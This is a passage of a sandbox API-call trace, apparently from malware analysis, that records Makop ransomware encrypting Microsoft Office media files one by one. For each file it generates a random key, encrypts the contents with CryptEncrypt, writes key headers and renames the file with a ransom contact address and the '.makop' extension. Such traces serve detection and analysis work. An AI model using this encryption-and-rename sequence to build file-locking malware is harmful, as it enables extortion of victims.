Office\\MEDIA\\CAGCAT10\\J0299587.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299587.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0164.894] CloseHandle (hObject=0xf0) returned 1 [0164.894] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2b9900, ftCreationTime.dwHighDateTime=0x1bf2c9a, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd2b9900, ftLastWriteTime.dwHighDateTime=0x1bf2c9a, nFileSizeHigh=0x0, nFileSizeLow=0x1310, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299611.WMF", cAlternateFileName="")) returned 1 [0164.894] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299611.WMF") returned 61 [0164.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299611.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299611.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0164.907] GetProcessHeap () returned 0x48a0000 [0164.907] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0164.907] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0164.908] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0164.908] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.908] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.908] GetProcessHeap () returned 0x48a0000 [0164.908] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0164.908] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0164.908] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.908] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0164.913] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0164.913] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0164.913] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0164.913] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0164.913] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0164.913] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.913] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.913] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.914] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1310, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1310, lpOverlapped=0x0) returned 1 [0164.915] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1310, dwBufLen=0x1310 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1310) returned 1 [0164.915] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.915] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1310, lpOverlapped=0x0) returned 1 [0164.915] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.916] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x13e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.916] SetEndOfFile (hFile=0xf0) returned 1 [0164.923] GetProcessHeap () returned 0x48a0000 [0164.923] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0164.923] GetProcessHeap () returned 0x48a0000 [0164.923] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0164.923] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299611.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0164.923] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299611.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299611.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299611.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299611.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0164.925] CloseHandle (hObject=0xf0) returned 1 [0164.925] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e1a5400, ftCreationTime.dwHighDateTime=0x1bf2c9b, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5e1a5400, ftLastWriteTime.dwHighDateTime=0x1bf2c9b, nFileSizeHigh=0x0, nFileSizeLow=0x4322, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299763.WMF", cAlternateFileName="")) returned 1 [0164.925] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299763.WMF") returned 61 [0164.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299763.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299763.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0164.927] GetProcessHeap () returned 0x48a0000 [0164.927] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0164.927] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0164.927] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0164.927] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0164.931] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.931] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.931] GetProcessHeap () returned 0x48a0000 [0164.931] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0164.931] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0164.931] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.931] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0164.931] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0164.931] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0164.932] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0164.932] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0164.932] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0164.932] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.932] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.932] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.932] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4322, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4322, lpOverlapped=0x0) returned 1 [0164.934] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4330, dwBufLen=0x4330 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4330) returned 1 [0164.934] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.934] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4330, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4330, lpOverlapped=0x0) returned 1 [0164.935] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.935] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.935] SetEndOfFile (hFile=0xf0) returned 1 [0164.941] GetProcessHeap () returned 0x48a0000 [0164.941] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0164.941] GetProcessHeap () returned 0x48a0000 [0164.941] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0164.942] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299763.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0164.942] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299763.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299763.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299763.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299763.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0164.943] CloseHandle (hObject=0xf0) returned 1 [0164.943] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0508500, ftCreationTime.dwHighDateTime=0x1bf3a1b, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf0508500, ftLastWriteTime.dwHighDateTime=0x1bf3a1b, nFileSizeHigh=0x0, nFileSizeLow=0x3465, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0300520.GIF", cAlternateFileName="")) returned 1 [0164.943] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF") returned 61 [0164.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300520.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0164.944] GetProcessHeap () returned 0x48a0000 [0164.944] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0164.945] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0164.945] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0164.945] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xb, lpOverlapped=0x0) returned 1 [0164.949] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.949] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.949] GetProcessHeap () returned 0x48a0000 [0164.949] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0164.949] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0164.949] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.949] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0164.949] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0164.950] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0164.950] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0164.950] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0164.950] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0164.950] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.950] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.950] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.950] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3465, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3465, lpOverlapped=0x0) returned 1 [0164.952] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3470, dwBufLen=0x3470 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3470) returned 1 [0164.952] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.953] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3470, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3470, lpOverlapped=0x0) returned 1 [0164.953] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.953] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3544, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.953] SetEndOfFile (hFile=0xf0) returned 1 [0164.960] GetProcessHeap () returned 0x48a0000 [0164.960] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0164.960] GetProcessHeap () returned 0x48a0000 [0164.961] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0164.961] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0164.961] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300520.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300520.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0164.963] CloseHandle (hObject=0xf0) returned 1 [0164.963] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b61300, ftCreationTime.dwHighDateTime=0x1bf452c, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf9b61300, ftLastWriteTime.dwHighDateTime=0x1bf452c, nFileSizeHigh=0x0, nFileSizeLow=0x239c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0300840.WMF", cAlternateFileName="")) returned 1 [0164.963] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300840.WMF") returned 61 [0164.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300840.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300840.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0164.964] GetProcessHeap () returned 0x48a0000 [0164.964] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0164.964] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0164.964] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0164.964] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0164.969] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.969] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.969] GetProcessHeap () returned 0x48a0000 [0164.969] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0164.969] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0164.969] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.969] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0164.969] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0164.969] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0164.970] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0164.970] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0164.970] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0164.970] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.970] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.970] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.970] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x239c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x239c, lpOverlapped=0x0) returned 1 [0164.972] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x23a0, dwBufLen=0x23a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x23a0) returned 1 [0164.972] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.972] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x23a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x23a0, lpOverlapped=0x0) returned 1 [0164.973] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.973] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.973] SetEndOfFile (hFile=0xf0) returned 1 [0164.979] GetProcessHeap () returned 0x48a0000 [0164.979] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0164.979] GetProcessHeap () returned 0x48a0000 [0164.979] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0164.979] wsprintfW (in: param_1=0x48c4f5c, 